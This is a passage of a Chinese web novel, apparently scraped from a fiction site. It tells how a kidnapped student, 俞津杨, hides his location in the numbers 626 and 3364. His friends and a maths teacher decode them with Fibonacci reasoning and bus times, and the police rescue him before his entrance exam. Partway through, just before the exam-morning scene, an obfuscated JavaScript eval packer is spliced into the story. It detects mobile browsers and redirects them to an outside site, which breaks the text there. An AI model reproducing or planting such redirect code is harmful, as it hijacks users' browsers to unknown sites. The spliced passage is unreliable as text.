他时常听见他们窃窃私语,没办法,人的大脑就是如此神奇,眼睛瞎了耳朵就是灵,他们以为他听不见,但其实每句话他都听得一清二楚。涛哥出去买饭,那俩男的留下来寸步不离地盯着他。 他俩闲聊的时候百无禁忌,或者说完全无视他,脑子笨那个明目张胆就说拿到钱要再去纹个背,夹克男沉默很久,才不咸不淡地回了句,等这边结束他要去剪头发。 他话很少,大多是花臂哥忍不住开始找话题。花臂哥一听,立马劝他别去新开那家,那家不正规,搞色情的。 俞津杨忍不住见缝插针:“叔,绑架很正规吗?” 花臂哥立马拿袜子要把他嘴堵上。 俞津杨一听见对方脱鞋,赶紧以死明志:“你敢塞我嘴里,我敢死在这里。” 他想他们不到万不得已,不见得真敢撕票,不然也不至于这么大费周章地弄他眼睛,果然,对方把鞋扣地上用力拍两下,又穿回去了,和夹克男冷嘲热讽说:“公子哥就是矫情,一个个都拿洁癖当生死状。” 夹克男一声不吭。 花臂哥又自言自语:“懂懂懂,公子哥嘛,肯定嫌我们乡下人的脚臭。” 俞津杨也蛮无语:“你要不嫌臭,你怎么不塞自己嘴里。” 花臂最容易激怒,果然气跳脚:“闭嘴,再叨叨揍你了!话这么多,别的公子哥怎么没你这么多话!” 这不到四十平米的逼仄空间,他们连空调都不敢开,闷热黏稠得像一锅烧糊的火锅底料,反复炖煮着。 俞津杨活像是被一条等着他们开锅待宰的鱼,知道自己气数已尽,他左右活动了一下脖颈,将后脖颈挂在椅背上,蒙着眼睛仰面朝着天花板,脖子上的血渍和汗水顺着锁骨蜿蜒着一道道流进几天没洗的T恤衫里,假装生无可恋的口气:“她……没给我回信息吗?” “回了,让你去死。”花臂说。 “……”俞津杨一愣,撇开头,“我不信。” “不信就别问!”花臂一脚踹翻他面前的啤酒瓶子,跟多米诺骨牌似的唏哩哐啷掉了一地,“你不是说她是你女朋友吗,怎么连名字都没备注,你小子要是敢框我,我真能做掉你。” “吵架了不行吗?”俞津杨面不改色,也很难改色,锅底灰都比他脸色好看,下巴朝花臂的声音方向微微一扬,但凡这会儿洗干净,露出眼睛,多少是有点欠扁的,“你没看她正找借口要跟我和好呢?” 花臂这辈子最恨五种人——一种是有钱的,一种是长得帅的,一种是学霸,一种是受女人欢迎的,还有一种是眼睛长在鼻子上面的。 俞津杨在花臂这里就是一个长在他雷点上的公子哥儿。 俞津杨当然也逮着机会就一个劲儿的攻击花臂:“叔,你们流程到哪了,你们还没给我爸打电话吗?商量好要多少钱没有,我明天就要中考了!” “……闭嘴,你再催一下?” 花臂拿夹克男的手臂指着俞津杨。 夹克男动作粗暴地把自己的手抢回来,眼神里透着一股前所未有的凶神恶煞和狠劲儿:“都特么的给我闭嘴!你再和他说一句话,我看你是真没脑子!把他手机和屏蔽仪拿过来!我倒要看看,这小子耍什么花招。” 俞津杨默默将脸转正,面上平静如水,其实他心脏快蹦出来了,在他空空荡荡、无依无靠的胸腔里如擂鼓一般疯狂地跳动着。他不敢呼吸,生怕带动胸腔的起伏引起他们的怀疑,他只能竭尽全力、生生压抑着每一下喘息,压到最后整根肋骨开始抽疼。 他忍了又忍,还是没忍住,死死咬住牙,绷着一张冷脸,喉结却不自觉地滑了下。 如果他真死在这,他希望老爸老妈不要看到他最后这么扭曲狼狈的样子。 也有点后悔,他其实不该发那条信息,想起她提到斐波那契数列,他脑子一热就去忽悠花臂了,万一她没能解开,他真的真的不会怪她。 但是以她爱逞英雄的性子,恐怕这辈子都要跟那几个数字死磕到底了。 *** 夜色匍伏在城市的各个角落,城市霓虹闪烁,彼时不过临近九点,却破天荒地陷入沉寂,马路上偶尔有车轮辚辚压过,也都仿佛踩着最小码的油门从城市中心滚过去。 明天是丰潭县一年一度的中考日,政府部门已经发了最近三日禁鸣喇叭的消息,城市也提前熄了灯,等待这场全城中学生大阅兵的降临,最后一夜饱满的精神状态最为重要,考生们都不约而同提前钻进被窝找周公去了。 俞人杰的别墅区还亮着灯,警察在他们的家的各个楼层都埋了电话收听器,绑匪在早上八点和中午十二点都来过电话,要求是——三千万,现金交易,明天就准时放他儿子回去中考。 俞人杰和唐湘这么多天没见着儿子,神色憔悴到完全看不到昔日的神采,两人形容枯槁,此刻竟能从他俩身上看出一丝当初高典爷爷奶奶的模样,衣服全是皱皱巴巴,头发凌乱如杂草,还止不住地隔一会儿就抓,隔一会儿就挠,两人此时像两根风一吹就倒的空心秸秆。 他们想过对方可能要五百万,一千万,但没想到对方一上来就狮子大开口要三千万,还是现金。关键人被抓走了好几天,还故意卡着中考前的最后一天给他们电话。 俞人杰尽量让自己听上去镇定地说:“先让我确保我儿子的安全,你们没有欺负他,没有打他对吗?我要视频,让我们看看他。” 当然,对方没有让他如愿。 “如果让我们知道你报了警,那你就别想见到你儿子了,准备好现金,等我交易电话。” 一个流程走得非常传统的绑匪,电视剧里上演过无数遍,他都甚至怀疑这段是不是提前录好的,对面根本没人。 “啪——” 俞人杰浑身发着抖,第一次失控,狠狠将电话掼在地上,砸了个底透。 唐湘也在无声抹泪。 警察们也只能老生常谈的安慰几句,继续见缝插针地分析音轨和收讯的信号位置,好在这通电话没有白接,他们调查通话区域内的天网系统,综合前两天的线索,终于能锁定其中一名嫌疑人——董涛,有过前科,五年前因为绑票入过刑,但他很有反侦察意识,第一张电话卡被他扔进了不知道谁的车里,此刻正开往省城的高速上。 而董涛的身影最后消失在城区一家按摩店的监控盲区,就跟泥牛入海似的,彻底消失无踪。 线索又断在这,警方只能继续抽丝剥茧地追查董涛名下各个账户的使用记录,查询他日常出没的区域,搜寻人质可能藏身的区域以及耐心等待绑匪的第三通电话。 梁梅家更是灯火通明,这边几乎都是对面三中的学生,随着灯火一盏盏熄灭,连今夜的风都停止作怪,树叶没有发出窸窸窣窣的声响,仿佛凝固成一片黑色。唯独梁梅家,像阒寂的死海里唯一亮着长明灯的一座孤岛。 彼时九点半,妙嘉和李映桥还围坐在往日的餐桌上看错题,桌上的泡面还没来得及收,李映桥趁这会儿功夫把桌子擦了擦,见梁梅面色沉重地放下电话,李映桥立马扑过去问:“怎么样,梁老师,喵喵不是出事了?” 梁梅嘴唇都有些发颤,话含在嘴边不知道要不要告诉她俩,怕影响她俩明天考试,果然下一秒,李映桥见她神色犹豫,立马抱着她的胳膊摇了摇说:“老师你别瞒着我们了,喵喵给我发的信息一定有问题,你不告诉我,我明天考试肯定也会分心的!” “等会儿,你先安静一会儿,”梁梅看了眼墙上的挂钟,当机立断说,“我给朱老师打个电话,你把俞津杨发的那两组数字写到纸上,等朱老师过来,我们一起想想办法,但你俩要答应我,不管能不能破解出来,你们11点前必须去睡觉。” 李映桥和郑妙嘉对视一眼:“好!” 朱小亮半夜接到电话连鞋都没换,穿着拖鞋就一路风尘仆仆地打了车过来。一进门,李映桥和郑妙嘉正愁眉苦脸地趴在桌上对着两组数字发呆,郑妙嘉好奇问:“桥桥,你是从哪里看出问题的?” 李映桥埋头疾写,笔尖在唰唰唰运算,“不知道,我一开始也没注意,要不是最近被朱老师折磨的看见任何数字都想算一算,越算越不对劲……” “那你有什么思路吗?”朱小亮走过去,把眼镜摘下来,拿起妙嘉面前的白纸,仔细瞧了瞧,“听梁老师说他被绑架已经好几天了,这条信息几点发的?你还记得吗?” 李映桥略一沉思:“应该是他被绑架的第二天晚上,给我发的,第一条是626,晚上十点半发的,第二条是3364,前后间隔两秒。我一开始弄错了,因为信息在我妈的收件箱里,后收到的信息在前面,我也没看时间,下意识把3364当作第一条发的,所以一直用3364626,我以为是什么座机号码,就打过去了。” 梁梅问:“对方接了吗?” “空号。” 朱小亮大致明白了,一屁股坐在椅子上,随手抄起郑妙嘉的笔,笔尖在纸上快速写下一串数字,“我来不及和你们解释太多,如果你们看得懂就看,看不懂也先不要问,现在我们只能假设这是一条求救信息,也有可能是绑匪拿了他的手机,误触发出的信息,但这种情况比较小,绑匪一般拿到对方的手机会直接拔电池关机,以免被警方追查到。” 梁梅猛然想起什么似的,问朱小亮:“不对啊,警 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李映桥抱着胳膊靠在椅子上,笔又夹在人中位置,盯着那两组数字喃喃道,:“我再想想,他肯定想跟我说什么,他既然选择发给我,一定是我能联想到的。” 然而,就这么一想,她发现自己和俞津杨能联系起来的事情很多,跟数字有关的好像几乎没有——小画城,疯子港,史大胖,擀面杖,小龙虾,公主抱,柯南…… “他数学成绩不错是吧?”朱小亮第一反应先用凯撒移位,FBFCCFD——显然一串看起来像糖葫芦的无效数字。 “他数学应该是他们几个里最好的。”梁梅说。 朱小亮若有所思地点点头:“那可以排除一些答案,谢谢你啊,梁老师,你的回答很有用。” 梁梅:“……没必要,朱小亮。” 朱小亮已经自顾自进入思考模式,“李映桥,在这之前,你们聊过什么?” “我让他把被梁老师没收的柯南书还我,我说我用斐波那契数列和他打招呼让他别不知好歹——”李映桥猛然想到,“老师你说向日葵是很典型的斐波那契排列,会不会是这个地方有626朵向日葵?” “那3364代表什么?”朱小亮也盯着自己面前的草稿纸,喃喃地说,“难道是斐波那契数列——” 斐波那契数列—— 李映桥人靠在椅子上,心无旁骛地盯着面前的稿纸,她尝试过很多种数字转换成文字的方式,比如她还特意用了计算机里的十六进制,出得的结果是5F9244,像车牌号但又不是,朱老师说还有一种ASCII码的算出来更是一堆感叹号,俞喵喵总不至于被绑架了还要抽空回复他对于她学会斐波那契数列的震惊吧。 但她总觉得这两个数字好像有一定的联系,6,26,33,64…… 咦?等会儿! 会不会有可能真是数列啊! 时间一分一秒过去,时针不知不觉走向十点半。俞人杰和警方那边迟迟没有等来绑匪的第三通电话,但至少从梁梅那边得知了一个好消息,儿子在被绑的第二天给李映桥发过消息,说明他一定没有丧失希望,至少他还在努力想办法救自己。 俞人杰还守在电话旁,指尖无意识地敲击着膝盖。别墅大门被人推开,闻讯从家里赶来的姥姥和姥爷一步一颤进门来。一进门看见满屋子人,差点脚下一软,这辈子哪见过这么多警察在家里开会,嗓子抖得像个筛糠:“有消息没有?绑匪还没来电话啊?那同学那边呢?那两组数字是津杨发出的吗?” “还不知道,”唐湘疲惫至极,人已经陷入虚空状态,浑身上下冒冷气儿,“那几个孩子明天也要中考,这个点儿还跟着她们的数学老师在一起帮忙,我们等她们消息就好。也不一定真是有效信息,我们别急,能帮上忙,我们好好感谢他们,帮不上忙,也没关系的。没关系的。” 她仿佛在安慰母亲,又似乎在安慰自己。 姥姥吃了四十年的斋饭,一听到这,捻着常年不离手的佛珠开始为他们祈福:“好孩子,都是菩萨心肠好孩子。阿杨有这样的好朋友,真是他的福气。” “叮铃铃铃——” 所有人神经骤然一紧,整个别墅近二十来个人,几乎不约而同停下手里的工作,连同专家组那几个在分析那两组数字的专家也都齐刷刷停下来,瞬间鸦雀无声,等待着人质父亲去接最后这通交易电话。 俞人杰浑身发烫,他其实从昨天开始发着烧,额头上全是汗水,分不清是紧张还是整理机制汨出的,他舔了下干涩唇,已经忘了自己多久没喝水,他狠狠搓了一把脸,在警员ok的手势下,他立马接起电话。 “喂——” “是我,李映桥怎么都不肯去睡,还有半小时,再解不出来我把她打晕也要塞进屋里去了,我提前跟你说一声。”屋内几人都在埋头苦算,不懂数学的梁梅这会儿正靠在阳台上抽烟缓解焦虑,对电话里的李姝莉说。 李姝莉刚要说这事儿是不是怪我?我没早点看到信息。就听电话那头传来女儿雀跃的尖叫:“朱老师!俞津杨发给我的真是斐波那契数列!” 紧跟着朱小亮用非常快的语速和她展开了一系列的快问快答。 直到朱小亮沉声问:“所有斐波那契数列里有一个很经典的末位循环你知道吗?” “我以前不知道,”李映桥把稿纸一一摊平,思路也跟得很紧,“您之前不是说这个不考吗?我没仔细深究,但我刚刚一笔笔算出来的结果是这样,斐波那契数列的公式是F(n)=F(n-1)+F(n-2),就是数列前两项之和对吧,如果我们把6,26看作数列的是前两项,那么俞津杨这个变形的斐波那契数列公式按照这个结果递推就是,6、26、32、58、90、148、238……我算到第二十项是124210,而前面这二十项都符合老师你刚刚说的末尾循环,只要每逢第5的倍数项,这项数的末尾它就一定是0。” 梁梅挂断电话跟进来听一半,看着她草稿纸上单独圈出来的几项,喃喃重复:“然后呢?意思是第五项是90,末位数是0,第10项是1010,末位数也是0,第十五项是11200,末位也是0,第二十项是124210,末位也是0,五个数后的末尾数就归零这代表什么?” 朱小亮看了眼李映桥,李映桥把笔放下,仰头看着梁梅说:“梁老师,你觉得生活中有什么东西是循环的?” 不等梁梅回答,郑妙嘉率先好奇问:“那3364呢?这个数不在这个数列里面啊。” “3364可以看作58的平方,”朱小亮不紧不慢地地上眼镜,在纸上圈出数列里的第四项说,“偏偏是俞津杨给我们这个数列里的第四项58的平方,你觉得这事儿还有那么巧吗?我跟你们说过,生活中的数学才是真的数学,这位同学我虽然没见过,但他是真的在生活中观察过数学。” “那为什么他第二条信息发的是58的平方,要特意点出来呢?”梁梅问。 朱小亮意味深长地看了眼李映桥:“她知道。” “是公交车循环,”李映桥思路逐渐清晰明朗,因为她猛然想起前两天他俩在公交车站的一番追逐,“公交车一班半小时一趟,但有一趟公交客车属于是路边挥手即停的,一天只有五趟。58的平方,是他在告诉我,我一天要来回坐两趟的58路公交车。” 18.第十七章(二更合一) 郑妙嘉似懂非懂,但也绞尽脑汁,于是又一一将这些数字老老实实圈出来:如果第一项为A1的话,是6,第二项为A2的话,是26,那么第三项为A3就是A1+A2=6+26=32,第四项就是A2+A3=26+32=58……以此类推,A5是90,A10是1010,A15是11200,A20是124210,每一项的末位数都为零,而10,15,20都是5的倍数…… 所以俞喵喵传递给桥桥的信息,是五项循环归零的意思? 梁梅立马从手机里找出58路公交车的路线,也逐渐跟上思路:“可是58路公交车这条线上总共有十四站,首站是农贸市场,终点站是小画城,几乎贯穿整个丰潭县,这么大块区域,怎么确定他是在哪个位置呢?” 李映桥也在想,笔夹在鼻尖,再次陷入沉思,低声喃喃道:“是啊,怎么确定喵喵现在被关在哪一站附近呢?” 李映桥忍不住开始咬嘴唇,笔顺势掉落在桌上,又扑簌簌滚落到地上,她也没顾上捡,仍目不斜视地盯着草稿纸上写得满满当当的数字,开始重新整理思路。 朱老师说过其实生活中很多东西都是根据数学定理来排布的,比如红绿灯实际上就是一个求方程的问题,只要能找出其中的最优解,就能完美避开所有红灯;排队的时候总感觉旁边的队伍更快,其实也是一个数学问题,但朱老师当时怎么讲的她忘了。 气氛有些凝滞,梁梅不得已敲敲桌板,提醒道:“不管怎么样,你们俩十一点必须去睡觉,剩下的事,朱老师会继续想办法的。” 郑妙嘉乖乖点点头,李映桥没吭声,神情专注地盯着稿纸,显然是压根没听进去。 梁梅刚要继续教育,朱小亮直接沉声打断道:“我刚才查了下我们丰潭目前的公交系统,一天五趟的公交客车不止58路这班,第二组数字如果锁定58路的话,那么有没有可能58这个数字出现在第四项这个位置,指得是公交路线上的第四站——丰潭商厦?” 与此同时,警方那边也得出了相同的答案,将视线锁定在58路公交车附近的丰潭商厦,但很快,和朱小亮一样,又排除了这个答案,只派一两个便衣在附近盯梢,有异常情况会立马上报。 而且,丰潭商厦这边白天人流摩肩接踵,又是闹市区,别说绑票,就是绑个鞋带都弯不下腰去,绝不是绑匪藏匿人质的最佳选择。 朱小亮也跟着补充说:“下一站就是公安局,绑匪如果把人质扣在这里,会不会太明目张胆,这么多天警察不至于查不到一点蛛丝马迹……” “如果是逢五归零的话——”李映桥自言自语说着,“有没有五点钟发车的公交车啊?” 朱小亮:“火车站?火车站我记得有夜间车和早班车的专列。” 话音刚落,两人几乎同时看到了一趟特殊公交车的班次时刻表:“梁老师!快!打电话给俞叔叔,我们知道喵喵在哪了!” 朱小亮也几乎和她同时脱口而出:“是火车站!” “会不会是那个废弃木玩厂啊!”郑妙嘉也一拍手说,“俞叔叔以前在火车站附近,开过一个木玩厂,后来被人举报说有粉尘污染就关掉了。” 梁梅呼吸一滞,来不及思考,手就跟被人上了发条似的,下意识去捞桌上的手机,拨电话的手都在莫名发抖,宛如一阵电流从她脚底猛蹿到她头顶,针扎一样。本来她没报太大希望,如果真被她们几个找到了,这事儿估计又要上新闻。 李映桥却没想那么多,越来越镇定,有条不紊地酒划去不相关答案,笃定地说:“对!途经火车站的那趟车,首发时间是5点06分,末班车是23点26分,这和喵喵给我们的斐波那契数列的前两项是刚好吻合的。3364作为58的平方刚好在斐波那契数列的第四项,应该是他爸工厂里的4号车间,或者是4号楼之类的地方,四号垃圾桶也有可能,反正每个角落都搂一搂,怕他饿疯了在外面翻垃圾吃。” “……” 如果有来生—— 俞津杨想。 如果还有来生,他再也不要当人杰、俊杰这一类杰哥的儿子了——压力大不说,还招人恨。尤其叫人杰还姓俞那个,几天了,自己家的玩具厂他跟没开过一样,一点儿想不起来搂一眼。 俞津杨小时候对这里的记忆虽然不算深,但绑匪将他掳来第一天,他就凭着微妙的儿时记忆差不多推断出自己在哪个方位。 主要是火车站附近的鸣笛声太刺耳,尤其这个季节夜晚还能听见钢轨热胀冷缩蹦出来的咔咔作响声,还有每日的工人检修钢轨的声音,说明这里离火车站的铁轨绝对不超出五百米。 小时候他妈刚带他来找爸爸,老爸那时候怕他妈一声不吭又跑回海南,完全把他当人质寸步不离地带在身边,他自己要上班,就在厂长办公室给他弄了一张行军床,让他老老实实躺在上面看书睡觉,但很少和他说话。 因为他俩那时完全不熟,也不想了解对方的兴趣和喜好,男人和小男孩之间是没有共同话题的,尤其还装嫩的男人。 他爸特别喜欢在饭点问他能不能吃点辣辣?能不能吃香菜菜和蒜苗苗,听起来都像是他以前幼儿班同学,他怎么吃得下。 而且,他早就不用叠词了,但俞人杰四十几岁张着血盆大嘴还用得乐此不疲。 俞津杨那时候最喜欢听火车鸣笛声,后来听多了,他都能分清楚哪些鸣笛是列车进出站,哪些是列车故障的鸣笛声,所以被掳来第一晚,他听见列车清晰的鸣笛声,以及凌晨工人的钢轨检修声。 如果他没记错,应该是凌晨四点,火车站的工人固定会对钢轨进行检修。 他虽然无法判断自己具体在废弃厂哪个房间哪个位置,但他能确定他小时候在老爸的办公室听到的检修声音和现在相差无几。 这会儿要么在他爸办公室,要么在员工宿舍,只有这两个地方是面朝着火车站,听到的钢轨声音最清晰。于是他试图让自己冷静下来想,怎么拿到手机,怎么把信号发出去,尽管这很冒险,但他觉得自己横竖凶多吉少,不如搏一搏。 也是在那瞬间,他突然想到前两天自己和李映桥在公交站牌底下,李映桥正在他书包里翻箱倒箧、一股脑地找钱,他懒得和她犟,习以为常地移开视线,闲着没事儿,就去看公交站牌上的时刻表—— 于是他就注意到途径火车站的那趟公交车首发班次和末班车的时间跟其他公交路线好像不太一样,其他都是整点或者半点,唯独那趟车首发班次是5点06分,末班车是23点26分。 答案其实很简单—— 626指的就是5点零06分到23点26分那趟公交班次,他不敢报公交车号,怕李映桥还没发现,绑匪先发现了。于是就报了途经火车站那趟公交车,首、末班后面看起来比较特殊的俩分钟数,也不敢报太完整的时间,怕绑匪们会百度。 虽然有点隐晦,但李映桥每天都要在那个公交站牌等车,她应该很容易发现这里面的问题。 至于3364确实也是58的平方没错。 ……没别的——就是58,我爸;58的平方,我爸爸。 这很难想吗! 火车站,我爸爸!木玩厂!很难想吗! 李映桥!你在干什么!和斐波那契结婚去了吗! 他看绑匪那木鱼脑袋都快想出来了,只听花臂在那一拍大腿胡乱发散一通说:“你说3364是58的平方,那58代表什么?我知道了——58同城!” “同你爹!”夹克男骂了句,“你给涛哥打电话,取消交易。” 花臂一愣,“为什么!” 夹克男振振有词说:“傻屌!我跟你说了不要搭理他不要搭理他!你非不听……咱们旁边这个省道,就是58号省道!” 俞津杨:“……” 喂!这他是真不知道啊!再说大哥省道这么长,谁能靠一条省道定位!他又不是一条一百公里长的蛇,身子长得要挂在省道上! 花臂果然和他想到一起去:“巧合吧,再说了,这省道这么长,警察能找到这儿来?而且当时是我怕他跟我玩文字游戏,才允许他用数字代替的。” 听得俞津杨由衷地频频点头。 夹克男指着他俩:“你俩是不是一伙的?我现在怀疑被绑架的人是我!” 花臂也忍无可忍:“你是不是有病,疑神疑鬼的,你不如给你哥打打电话,到底什么时候交易。” 那位涛哥的电话始终没打通,都是关机状态。夹克男把电话一摔,撒着邪火地一脚踹开花臂,气势汹汹地套上他的机械臂,咬牙狠狠道:“这事儿不对,我哥应该被抓了,起开,我弄死他。” 爷爷个腿。又来。 装个机械臂真拿自己当机械战警了。 俞津杨感觉自己像个风干的腊肠,血渍和汗渍都凝结成一块块斑驳、龟裂的暗红色,整个人干巴巴的地发硬,稍微一牵动,身上又疼又痒,反正出去也没办法正常参加考试了。 整个人绝望地一挺,想象自己是个宁死不屈的腊肠。 俞津杨身心俱疲地靠在椅子上,眼睛被蒙着,带着血的嘴角很平静温和地抽了抽,语气是冷的:“你要还是个人,就一刀了结我,多一刀我做鬼都不会放过你。” “……” “砰!” 夹克男二话不说猛地抬脚将他连人带椅地踹翻。 俞津杨被踹得重重砸向地面,他侧脸贴着地面,猛咳了声,手指撑在地上,也不顾口腔内径直涌出来的鲜血,用脸颊去蹭了一下,除此之外,他一声不吭。 因为他确定了,这是他爸给他放行军床陪他上班的办公室。他以前有床不睡,喜欢趴在地上玩弹珠,把地板刮得全是乱七八糟的纹路,虽然一开始老因为刮花了地板被他爸打屁股,但他爸面对老妈又是另一番嘴脸:他说地板刮花了可以换,儿子可换不来幸福的童年。 惯会做人的。弄得他后来也不好折腾他,一开始他俩关系其实挺剑拔弩张和紧张的。所以说小孩子一出生最好就在家里待着,不要到处乱跑了,和父亲之间要是错过了牙牙学语前他追着你喊爸爸的这点情分,真的很难原谅他这两面三刀的嘴脸。 不过,突然就没那么疼了。 这次他可以去玩弹珠了吧,反正也不用再考试了。 夹克男再次抬起脚—— 下一秒,大门蓦然被人一脚踹开,俞津杨终于听见一连串嘈杂如铁蹄队般的脚步声伴随着警察叔叔们悦耳动听的“把手举起来”一股脑地訇然闯了进来。 彼时正值晚上十一点半,距离第二天九点的中考还有九个半小时。 ** 清晨七点半。路面有些薄薄的湿面,整座城市似乎被简单的雨水洗刷过,湿漉漉带着凉意,绿叶片上还凝着水珠,梁梅正在把阳台上的花都搬进来。 见郑妙嘉和李映桥从房间里洗漱完出来吃早餐,最后给她俩鼓了鼓劲儿: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15538332|168418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “记住了啊!不要紧张,到了这个节骨眼儿,能不能考上全靠菩萨保佑了。” 两人齐刷刷地用力点头,只要不是披萨就行。她们已经吃怕了,听到两字都想吐。 “俞喵喵还在昏迷么?”李映桥边喝豆浆边问,狐疑地低头看了眼,这豆浆味道怎么…… “怎么了?” “没事,”李映桥摇摇头,“俞喵喵今天还能参加考试吗?” “这会儿估计还在急诊,脱水了,绑匪三天没给他吃东西,挂一晚上营养液了,”梁梅看了眼手表说,“我听说他和你们一个考场,也在三中,你们可以在门口等等他,如果等不到,到点你俩就自己进去。” “我等等他,看看他被揍成什么样了。”李映桥一股脑喝完豆浆,拉着一旁早就吃完早餐的郑妙嘉出门了,大声道,“梅姐,等我们凯旋吧!” 李映桥在十六考场,郑妙嘉在三号考场,不知道俞津杨在几号考场。中考第一天的校门口,人潮是洪水一般,家长们得着装是何其的统一,李映桥每到这个时候就特别想去卖旗袍,这段时间的旗袍销量绝对高涨,还有各种横幅、旗帜,连路边的早餐店都要比平日里涨那么五毛一块的。 “来了吗?”郑妙嘉也在人群中探着脑袋张望着那位伤员,她低头看了眼手机,“高典已经进考场了,他在你们二中考。” “不早说。”李映桥心不在焉地啊了声。 “你有什么东西要拿吗?” “没有,”李映桥说,“让他考完顺便去趟我们班主任办公室那儿,就说他是我老爹,来帮我要回之前她没收我的漫画书。” “……” 郑妙嘉不知道从哪儿闻到一股烟味,四下环顾一圈,才看见学校对门的窄巷子里,头顶着盲人按摩的招牌,有几个穿着三中校服的男生堵在墙根那边一边说话一边抽烟,吞云吐雾的同时,眼神还时不时朝她们这边瞥过来。 郑妙嘉拽了拽李映桥,“三中这边真乱,那些男生怎么光明正大在门口抽烟,都是初中生吧?好吓人。” 李映桥回头看了眼,认出其中一个穿着黑帽衫的高个子,是她们二中那个爱打赌让她小赚两千的大姐头的前男友,这群人正在商量怎么挽回大姐头,大约是认出她也是二中的,视线在她身上来回扫了几眼,黑帽衫倒是眼神都没避讳,直接和旁边几个男的说出她的名字,声音还故作低沉:“那李映桥。” 郑妙嘉愣了一下,拽紧了她的手,“桥桥,你不会跟他打过架吧?他说话怎么跟河马似的,声音压那么低干什么,哞哞哞——” “别管他,这人脑子有坑的,”李映桥头也不回,“算了,我们进去。不等了。” 刚要转身进去,身后传来一道熟悉的声音,有着玉石一般质地的干净:“李映桥!郑妙嘉!” 两人下意识对视一眼,有种耳朵干净了感觉,只是听起来比从前稍微嘶哑一些些,但总体还是清亮得能照见整个世界天光云卷的少年。 两人齐刷刷回过头,刚想要大声和他招呼——欢迎俞喵喵同志过五关斩六将,能平安回来参加中考! 一回头,正好看见风把少年刚洗干净的头发高高扬起,往日棱角分明的面孔此刻像只被人揉皱又在地上狠狠踩了几脚的纸团,不光露出花花绿绿的伤疤,嘴角结着全是暗红的痂。脸有些肿,还有些歪,李映桥从没见过这么难看的俞津杨。 “……咱俩装作不认识他吧。”她小声和郑妙嘉说。 俞津杨输了一晚上的营养液,也不管自己此刻就活像从十八层地狱里爬出来的小恶鬼,两只眼睛都肿得像灯泡,至少医生说他没瞎,视力检查也正常,这会儿脑子也意外十分清楚。 问他能不能看见窗外的树干,他说没事,能看见题干就行。 于是他拔了针管就兴冲冲地冲下病床说要来考场,这会儿脚上还绑着石膏,刚下车,一蹦一跳刚站定,就立马喊住她俩,俞人杰和唐湘亦步亦趋地跟在他身后给他加油打气。 那个画面,李映桥真是永生难忘—— 她的竹马同志在老父亲和老母亲的搀扶下,俩手架在他俩的脖子上,一蹦一跳地朝着中考那扇校门走去,还不忘回头对她俩提醒道—— “李映桥!郑妙嘉!” “钢铁是怎样炼成的作者是奥斯特洛夫斯基,别写全名啊!” 李映桥突然觉得她被这种野狗一样顽强的意志力给深深地震撼了,于是那天三中的校门口就出现这么一幕,几乎让一旁抽烟的几个哥,更笃定了书不能读太多。 “俞喵喵!刘禹锡——” “字梦得!与柳宗元并称‘刘柳’,晚年与白居易并称‘刘白’。” “李映桥!《陋室铭》托物言志是哪句!” “斯是陋室,惟吾德馨!” “郑妙嘉,《赤壁》中借文物抒怀的句子是?” “折戟沉沙铁未销,自将磨洗认前朝!” “李映桥!” “哎!你问。” “潭中见。” “潭中见!” “潭中见!!!” “小鬼们!潭中见!!!”俞人杰也跟着吼了句。 “果然不用考得吼最响。”唐湘说。 “哈哈哈哈哈,唐阿姨,俞叔叔打牌的时候嗓门更响,我在家看电视都能听见他一对三要不起!” 俞人杰:“……小鬼你又想挨我揍了吧。” 李映桥:“……略略略!” 19.第十八章 李映桥如果能想到今天——要她把那天晚上一时兴起发给俞喵喵的短信轰炸,在警察叔叔们面前原封不动地复述一遍。 她想,她会老老实实说一句:“你好,我是李映桥,请问我的柯南什么时候给我。” 而不是现在这样—— 她低着头,声如蚊蚋。 “喵!嗡嗡嗡嗡嗡斐波那契嗡嗡嗡不知好歹。” 一串苍蝇骂骂咧咧飞过去了。 “李映桥同学,”警察同志安抚道,“不要害怕。我们只是还原一下整个事情经过,做个笔录。目前绑匪还没全部落网,嫌疑人董涛也还在逃窜,我们需要根据你们的线索,重新聚焦案件,你的信息相当重要。” 屁嘞。李映桥看他想憋又憋不住的嘴角,气鼓鼓地说:“那肖波叔叔你为什么要笑我。” 这位叔叔是老熟人了,是这次俞喵喵绑票案的主办侦查员,也是上次小糕点差点被拐卖的案件主要负责人。丰潭警力有限,未分设打拐中队,类似案件都由重案中队管,所以这两起案子都是由他负责。小画城案之后,这是他和李映桥第二次见面。 他叫肖波,三庭五眼横竖看都是一个妥帖规整的“正”字,只是说话腔调和他本人的气质很不像,还爱开玩笑。 “没有,谁笑了?”两位警察互相觑了对方上扬的嘴角,肖波先发制人说,“你接着说,我帮你看着,他笑一次,这个月工资扣他一百。” 后者立马不笑了:“……” 李映桥有恃无恐地骤然大声起来:“我最后再说一遍哦,我真的不知道他那会儿已经被绑架了,我只是刚学会斐波那契数列,想跟他得瑟一下而已。事实证明,他脑子没我聪明。他说58的平方是我爸爸的时候,叔叔你说这合理吗?这是学霸能想出来的暗号吗?” “这比上次小糕点那个案子是困难点。”肖波深有感触地点点头说。 “对嘛!”李映桥叹口气,顾影自怜地口气说,“我真不容易。” “……” 录完笔录,李映桥走后,一旁的同事这才如获大释地松开绷直的嘴角问肖波,“要不要考虑把她收编了?以后走个定向规培生,进我们警队还是很有希望的,这女孩前途无量。” 肖波靠在椅子上,若有所思,摇了摇头:“她妈不会同意的,这次事件她妈都说了不让报道她女儿一个字,如果再出现上次那种情况,李映桥可能……而且现在全城老百姓都知道咱木玩龙头企业的儿子被绑架了,但获救的新闻还没发,大家都不知道怎么写。” “为什么呀?”同事显然不理解,抬头纹挤成五线谱,都看不出个调来,“这要搁我身上,我妈能当场从梭子蟹进化成帝王蟹了,别说在我家横着走,整个丰潭谁敢挡她路,她能呼死谁。” 肖波站起来,将笔录的资料立着拢拢齐,挑着眉说:“咱妈在警局也没竖着走啊,孙局见了她都得让道,毕竟咱妈是警察。李映桥的妈妈是干什么?” 